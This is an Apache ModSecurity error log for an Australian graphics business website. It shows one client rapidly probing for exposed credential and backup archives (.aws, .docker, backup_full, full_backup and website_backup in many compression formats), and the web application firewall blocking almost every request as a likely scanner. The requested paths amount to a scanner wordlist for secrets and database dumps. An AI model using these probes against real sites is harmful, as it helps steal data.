[Fri May 15 10:02:33.403696 2026] [:error] [pid 51234:tid 51249] [client 34.97.8.90:36126] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.zst"] [unique_id "agZ-ud72N9CbeiqcqgPViAAAAU0"]
[Fri May 15 10:02:34.149392 2026] [:error] [pid 1190:tid 1271] [client 34.97.8.90:36130] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.sql.gz"] [unique_id "agZ-utqiXrD7hne4gFbJ1wAAAJM"]
[Fri May 15 10:02:34.991261 2026] [:error] [pid 1188:tid 1221] [client 34.97.8.90:45236] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.sql.bz2"] [unique_id "agZ-utY68iW8yuNkNzPxHwAAABg"]
[Fri May 15 10:02:35.867375 2026] [:error] [pid 1295:tid 1311] [client 34.97.8.90:45248] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.sql"] [unique_id "agZ-u9mMhqLvs0GYixkcTwAAAM0"]
[Fri May 15 10:02:36.711141 2026] [:error] [pid 1295:tid 1316] [client 34.97.8.90:45254] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.zip"] [unique_id "agZ-vNmMhqLvs0GYixkcUQAAANI"]
[Fri May 15 10:02:37.476045 2026] [:error] [pid 1189:tid 1238] [client 34.97.8.90:45268] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.tar.gz"] [unique_id "agZ-vQe36qIGegR4kcmBwAAAAE0"]
[Fri May 15 10:02:38.297480 2026] [:error] [pid 51234:tid 51254] [client 34.97.8.90:45272] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.tgz"] [unique_id "agZ-vt72N9CbeiqcqgPVkgAAAVI"]
[Fri May 15 10:02:39.123666 2026] [:error] [pid 1189:tid 1226] [client 34.97.8.90:45274] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.tar"] [unique_id "agZ-vwe36qIGegR4kcmBwgAAAEE"]
[Fri May 15 10:02:39.965337 2026] [:error] [pid 51234:tid 51257] [client 34.97.8.90:45284] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.tar.bz2"] [unique_id "agZ-v972N9CbeiqcqgPVpwAAAVU"]
[Fri May 15 10:02:40.800738 2026] [:error] [pid 50531:tid 50547] [client 34.97.8.90:45296] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.tar.xz"] [unique_id "agZ-wB3WbFwE6voqGzrkewAAAQ4"]
[Fri May 15 10:02:41.574947 2026] [:error] [pid 1188:tid 1204] [client 34.97.8.90:45308] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.7z"] [unique_id "agZ-wdY68iW8yuNkNzPxIgAAAAc"]
[Fri May 15 10:02:42.412151 2026] [:error] [pid 1189:tid 1239] [client 34.97.8.90:45314] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.rar"] [unique_id "agZ-wge36qIGegR4kcmBxAAAAE4"]
[Fri May 15 10:02:43.237881 2026] [:error] [pid 50531:tid 50539] [client 34.97.8.90:45324] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.gz"] [unique_id "agZ-wx3WbFwE6voqGzrkfAAAAQY"]
[Fri May 15 10:02:43.988169 2026] [:error] [pid 1190:tid 1257] [client 34.97.8.90:45336] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.bz2"] [unique_id "agZ-w9qiXrD7hne4gFbJ2QAAAIU"]
[Fri May 15 10:02:44.788453 2026] [:error] [pid 1190:tid 1268] [client 34.97.8.90:45346] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.zst"] [unique_id "agZ-xNqiXrD7hne4gFbJ2gAAAJA"]
[Fri May 15 10:02:45.563297 2026] [:error] [pid 1295:tid 1312] [client 34.97.8.90:47080] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.sql.gz"] [unique_id "agZ-xdmMhqLvs0GYixkceAAAAM4"]
[Fri May 15 10:02:46.349603 2026] [:error] [pid 1295:tid 1319] [client 34.97.8.90:47084] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.sql.bz2"] [unique_id "agZ-xtmMhqLvs0GYixkceQAAANU"]
[Fri May 15 10:02:47.209573 2026] [:error] [pid 1190:tid 1260] [client 34.97.8.90:47088] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.docker.sql"] [unique_id "agZ-x9qiXrD7hne4gFbJ2wAAAIg"]
[Fri May 15 10:02:48.023988 2026] [:error] [pid 1188:tid 1215] [client 34.97.8.90:47104] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.zip"] [unique_id "agZ-yNY68iW8yuNkNzPxIwAAABI"]
[Fri May 15 10:02:48.849766 2026] [:error] [pid 1295:tid 1309] [client 34.97.8.90:47108] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.tar.gz"] [unique_id "agZ-yNmMhqLvs0GYixkcegAAAMs"]
[Fri May 15 10:02:49.691009 2026] [:error] [pid 1190:tid 1276] [client 34.97.8.90:47116] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.tgz"] [unique_id "agZ-ydqiXrD7hne4gFbJ3AAAAJg"]
[Fri May 15 10:02:50.529584 2026] [:error] [pid 1295:tid 1306] [client 34.97.8.90:47132] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.tar"] [unique_id "agZ-ytmMhqLvs0GYixkcewAAAMg"]
[Fri May 15 10:02:51.349180 2026] [:error] [pid 50531:tid 50557] [client 34.97.8.90:47134] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.tar.bz2"] [unique_id "agZ-yx3WbFwE6voqGzrkfQAAARg"]
[Fri May 15 10:02:52.226870 2026] [:error] [pid 1188:tid 1211] [client 34.97.8.90:47140] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.tar.xz"] [unique_id "agZ-zNY68iW8yuNkNzPxJQAAAA4"]
[Fri May 15 10:02:53.028826 2026] [:error] [pid 1189:tid 1241] [client 34.97.8.90:47150] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.7z"] [unique_id "agZ-zQe36qIGegR4kcmBxgAAAFA"]
[Fri May 15 10:02:53.845706 2026] [:error] [pid 1189:tid 1227] [client 34.97.8.90:47166] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.rar"] [unique_id "agZ-zQe36qIGegR4kcmByAAAAEI"]
[Fri May 15 10:02:54.677843 2026] [:error] [pid 51234:tid 51258] [client 34.97.8.90:47172] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.gz"] [unique_id "agZ-zt72N9CbeiqcqgPVwgAAAVY"]
[Fri May 15 10:02:55.501587 2026] [:error] [pid 1189:tid 1242] [client 34.97.8.90:51924] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.bz2"] [unique_id "agZ-zwe36qIGegR4kcmBygAAAFE"]
[Fri May 15 10:02:56.275069 2026] [:error] [pid 51234:tid 51254] [client 34.97.8.90:51930] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.zst"] [unique_id "agZ-0N72N9CbeiqcqgPVwwAAAVI"]
[Fri May 15 10:02:57.125191 2026] [:error] [pid 51234:tid 51243] [client 34.97.8.90:51938] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.sql.gz"] [unique_id "agZ-0d72N9CbeiqcqgPVxQAAAUc"]
[Fri May 15 10:02:57.959392 2026] [:error] [pid 51234:tid 51250] [client 34.97.8.90:51948] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.sql.bz2"] [unique_id "agZ-0d72N9CbeiqcqgPVxgAAAU4"]
[Fri May 15 10:02:58.830639 2026] [:error] [pid 1190:tid 1270] [client 34.97.8.90:51958] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_full.sql"] [unique_id "agZ-0tqiXrD7hne4gFbJ3gAAAJI"]
[Fri May 15 10:02:59.682183 2026] [:error] [pid 1295:tid 1302] [client 34.97.8.90:51968] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.zip"] [unique_id "agZ-09mMhqLvs0GYixkcfgAAAMQ"]
[Fri May 15 10:03:00.474807 2026] [:error] [pid 1190:tid 1267] [client 34.97.8.90:51970] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.tar.gz"] [unique_id "agZ-1NqiXrD7hne4gFbJ3wAAAI8"]
[Fri May 15 10:03:01.295321 2026] [:error] [pid 1295:tid 1305] [client 34.97.8.90:51978] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.tgz"] [unique_id "agZ-1dmMhqLvs0GYixkcfwAAAMc"]
[Fri May 15 10:03:02.097254 2026] [:error] [pid 1189:tid 1236] [client 34.97.8.90:51982] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.tar"] [unique_id "agZ-1ge36qIGegR4kcmBywAAAEs"]
[Fri May 15 10:03:02.971488 2026] [:error] [pid 1189:tid 1249] [client 34.97.8.90:51984] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.tar.bz2"] [unique_id "agZ-1ge36qIGegR4kcmBzAAAAFg"]
[Fri May 15 10:03:03.730193 2026] [:error] [pid 1189:tid 1225] [client 34.97.8.90:51998] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.tar.xz"] [unique_id "agZ-1we36qIGegR4kcmBzQAAAEA"]
[Fri May 15 10:03:04.564444 2026] [:error] [pid 1190:tid 1261] [client 34.97.8.90:52004] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.7z"] [unique_id "agZ-2NqiXrD7hne4gFbJ4AAAAIk"]
[Fri May 15 10:03:05.442958 2026] [:error] [pid 50531:tid 50541] [client 34.97.8.90:58344] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.rar"] [unique_id "agZ-2R3WbFwE6voqGzrkfwAAAQg"]
[Fri May 15 10:03:06.251865 2026] [:error] [pid 50531:tid 50534] [client 34.97.8.90:58346] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.gz"] [unique_id "agZ-2h3WbFwE6voqGzrkgAAAAQE"]
[Fri May 15 10:03:06.993530 2026] [:error] [pid 1188:tid 1216] [client 34.97.8.90:58350] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.bz2"] [unique_id "agZ-2tY68iW8yuNkNzPxKAAAABM"]
[Fri May 15 10:03:07.853131 2026] [:error] [pid 1190:tid 1272] [client 34.97.8.90:58356] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.zst"] [unique_id "agZ-29qiXrD7hne4gFbJ4QAAAJQ"]
[Fri May 15 10:03:08.690157 2026] [:error] [pid 50531:tid 50535] [client 34.97.8.90:58364] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.sql.gz"] [unique_id "agZ-3B3WbFwE6voqGzrkgQAAAQI"]
[Fri May 15 10:03:09.568870 2026] [:error] [pid 51234:tid 51241] [client 34.97.8.90:58372] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/full_backup.sql.bz2"] [unique_id "agZ-3d72N9CbeiqcqgPVxwAAAUU"]
[Fri May 15 10:03:10.472532 2026] [:error] [pid 1190:tid 1264] [client 34.97.8.90:58380] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.agraphics.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.agraphics.com.au"] [uri "/full_backup.sql"] [unique_id "agZ-3tqiXrD7hne4gFbJ4gAAAIw"]
[Fri May 15 10:03:20.600913 2026] [:error] [pid 1189:tid 1235] [client 34.97.8.90:53942] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site_backup.sql.gz"] [unique_id "agZ-6Ae36qIGegR4kcmB1gAAAEo"]
[Fri May 15 10:03:21.429161 2026] [:error] [pid 51234:tid 51260] [client 34.97.8.90:53952] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site_backup.sql.bz2"] [unique_id "agZ-6d72N9CbeiqcqgPV2AAAAVg"]
[Fri May 15 10:03:22.270180 2026] [:error] [pid 50531:tid 50538] [client 34.97.8.90:53960] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site_backup.sql"] [unique_id "agZ-6h3WbFwE6voqGzrkigAAAQU"]
[Fri May 15 10:03:23.102301 2026] [:error] [pid 50531:tid 50533] [client 34.97.8.90:53966] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.zip"] [unique_id "agZ-6x3WbFwE6voqGzrkiwAAAQA"]
[Fri May 15 10:03:23.934447 2026] [:error] [pid 50531:tid 50557] [client 34.97.8.90:53968] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.tar.gz"] [unique_id "agZ-6x3WbFwE6voqGzrkjQAAARg"]
[Fri May 15 10:03:24.769847 2026] [:error] [pid 51234:tid 51251] [client 34.97.8.90:53970] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.tgz"] [unique_id "agZ-7N72N9CbeiqcqgPV2gAAAU8"]
[Fri May 15 10:03:25.644380 2026] [:error] [pid 51234:tid 51243] [client 34.97.8.90:38378] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.tar"] [unique_id "agZ-7d72N9CbeiqcqgPV3QAAAUc"]
[Fri May 15 10:03:26.521137 2026] [:error] [pid 50531:tid 50535] [client 34.97.8.90:38382] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.tar.bz2"] [unique_id "agZ-7h3WbFwE6voqGzrkkQAAAQI"]
[Fri May 15 10:03:27.354609 2026] [:error] [pid 1190:tid 1275] [client 34.97.8.90:38386] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.tar.xz"] [unique_id "agZ-79qiXrD7hne4gFbJ6gAAAJc"]
[Fri May 15 10:03:28.114604 2026] [:error] [pid 51234:tid 51246] [client 34.97.8.90:38396] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.7z"] [unique_id "agZ-8N72N9CbeiqcqgPV4QAAAUo"]
